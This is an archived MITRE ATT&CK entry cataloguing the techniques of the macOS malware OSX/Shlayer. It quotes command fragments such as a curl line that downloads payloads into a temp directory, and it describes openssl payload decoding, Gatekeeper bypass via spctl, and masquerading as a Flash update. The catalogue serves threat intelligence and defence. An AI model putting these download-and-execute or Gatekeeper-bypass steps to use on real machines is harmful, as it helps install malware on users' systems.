OSX/Shlayer, Software S0402 | MITRE ATT&CK®

Archived: 2026-04-05 13:28:45 UTC

Enterprise T1548 .004 Abuse Elevation Control Mechanism: Elevated Execution with Prompt

OSX/Shlayer can escalate privileges to root by asking the user for credentials.[1]

Enterprise T1059 .004 Command and Scripting Interpreter: Unix Shell

OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command `sh -c tail -c +1381...` to extract bytes at an offset from a specified file. OSX/Shlayer uses the `curl -fsL "$url" >$tmp_path` command to download malicious payloads into a temporary directory.[1][3][6][7]

Enterprise T1140 Deobfuscate/Decode Files or Information

OSX/Shlayer can base64-decode and AES-decrypt downloaded payloads.[1] Versions of OSX/Shlayer pass encrypted and password-protected code to `openssl` and then write the payload to the `/tmp` folder.[3][6]

Enterprise T1083 File and Directory Discovery

OSX/Shlayer has used the command `appDir="$(dirname $(dirname "$currentDir"))"` and `$(dirname "$(pwd -P)")` to construct installation paths.[3][6]

Enterprise T1222 .002 File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification

OSX/Shlayer can use the `chmod` utility to set a file as executable, such as `chmod 777` or `chmod +x`.[6][1][8]

Enterprise T1564 Hide Artifacts

OSX/Shlayer has used the `mktemp` utility to make random and unique filenames for payloads, such as `export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"` or `mktemp -t Installer`.[3][6][8]

.001 Hidden Files and Directories

OSX/Shlayer has executed a .command script from a hidden directory in a mounted DMG.[1]

.009 Resource Forking

OSX/Shlayer has used a resource fork to hide a compressed binary file of itself from the terminal, Finder, and potentially evade traditional scanners.[9][10]

.011 Ignore Process Interrupts

OSX/Shlayer has used the `nohup` command to instruct executed payloads to ignore hangup signals.[8]

Enterprise T1105 Ingress Tool Transfer

OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the `curl -fsL "$url" >$tmp_path` command to download malicious payloads into a temporary directory.[1][3][6][7]

Enterprise T1036 .005 Masquerading: Match Legitimate Resource Name or Location

OSX/Shlayer can masquerade as a Flash Player update.[1][2]

Enterprise T1176 .001 Software Extensions: Browser Extensions

OSX/Shlayer can install malicious Safari browser extensions to serve ads.[4][5]

Enterprise T1553 .001 Subvert Trust Controls: Gatekeeper Bypass

If running with elevated privileges, OSX/Shlayer has used the `spctl` command to disable Gatekeeper protection for a downloaded file. OSX/Shlayer can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. OSX/Shlayer has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.[1][8][7]

Enterprise T1082 System Information Discovery

OSX/Shlayer has collected the IOPlatformUUID, session UID, and the OS version using the command `sw_vers -productVersion`.[1][3]

Enterprise T1204 .002 User Execution: Malicious File

OSX/Shlayer has relied on users mounting and executing a malicious DMG file.[1][2]
